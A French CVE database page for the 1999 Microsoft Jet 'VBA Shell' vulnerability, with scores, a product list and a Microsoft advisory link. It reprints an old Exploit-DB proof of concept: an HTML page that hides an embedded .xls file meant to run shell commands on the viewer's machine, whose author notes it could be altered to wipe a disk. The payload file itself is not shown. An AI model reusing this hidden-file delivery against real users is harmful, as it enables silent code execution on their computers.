Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
The Microsoft Jet database engine allows an attacker to execute commands via a database query, aka the "VBA Shell" vulnerability.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 19435
Date de publication : 1999-07-28 22h00 +00:00
Auteur : BrootForce
EDB Vérifié : Yes
# source: https://www.securityfocus.com/bid/548/info
#
# A vulnerability affects Microsoft's Jet 3.51 and 4.0 driver (MSJET35.DLL and MSJET40.DLL).
#
# This vulnerability could allow an attacker to create malicious '.xls' or '.doc' files incorporating VBA shell commands. When the file is opened, the shell commands contained in the file will execute on the target system. Command execution will occur in the context of the user that is opening the file.
#
# The file could be distributed via email, the web (including in hidden frames), or any number of methods.
#
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Author" CONTENT="yeahright">
<META NAME="GENERATOR" CONTENT="edit.com">
<TITLE>exshell jexploit</TITLE>
</HEAD>
<BODY TEXT="#330033" BGCOLOR="#FFFFFF" LINK="#0000EE" VLINK="#551A8B" ALINK="#FF0000">
<FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>This
is a benign demonstration of the Jet 3.51 vulnerability documented by J.C.G.
Cuartango.</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>This
vulnerability affects users of Office95/97 with Jet database engine versions
around 3.5 (tested 3.51.1029.00)</FONT></FONT></FONT>
<P><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>On the bottom of
this page is an invisible, embedded .xls file that will do a few things
if you double-click it:</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>1.
Get a welcome note from ftp.aol.com and write it to your hd as c:\ftptest.txt</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>2.
Write a log file of the ftp session to your hd as c:\jexploit.log</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>3.
Open regedit.exe on your computer.</FONT></FONT></FONT>
<P><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>There
are no macros, so there are no macro warnings. There are currently
(8/3/99) no AV products to stop this.</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>This
could be changed slightly to format your hd without prompts or perform
several other devastating functions.</FONT></FONT></FONT>
<P><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>The
purpose of this demonstration is as follows:</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>1.
To have some innocent fun.</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>2.
To demonstrate how to have fun.</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>3.
To show the vulnerabilities in yet another M$ product.</FONT></FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>4.
To alert the AV people that they need to work on this problem.</FONT></FONT></FONT>
<P><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>If you use IE
or see a broken link next to the arrow just click <A HREF="shell.xls"> here.</A>
Probably your browser can't view embedded xls.</FONT></FONT>
<BR><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>
The malicious potential of this exploit is great.</FONT></FONT></FONT>
<P><FONT COLOR="#993366"><FONT FACE="ElegaGarmnd BT"><FONT SIZE=+1>
Have a nice day!!! -ßrootFôrce</FONT></FONT></FONT>
<p> <p>
<BODY TEXT="#330033" BGCOLOR="#FFFFFF" LINK="#0000EE" VLINK="#551A8B" ALINK="#FF0000">
<FONT COLOR="#993366"><FONT FACE="Felix Titling"><FONT SIZE=+1>this
is a test of the emergency broadcast system.</FONT></FONT></FONT>
<P><FONT FACE="Felix Titling"><FONT COLOR="#993366"><FONT SIZE=+1>click
this here thingy to test==></FONT></FONT></FONT>
<EMBED src="shell.xls" width=50 height=50></EMBED>
</BODY>
</HTML>
<IMG SRC="http://geo.yahoo.com/serv?s=76000007&t=933696590" WIDTH=1 HEIGHT=1>
<!-- <SERVICE NAME="toto"> -->
<SCRIPT LANGUAGE="javascript">
<!--
window.open('/toto?s=76000007', '_geo_toto', 'width=515,height=125');
// -->
</SCRIPT>
<!-- </SERVICE> -->
Products Mentioned
Configuraton 0
Microsoft>>Jet >> Version 3.5
- Microsoft>>Jet >> Version 3.5 (Open CPE detail)
Microsoft>>Jet >> Version 3.5.1
- Microsoft>>Jet >> Version 3.5.1 (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/1999/ms99-030
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
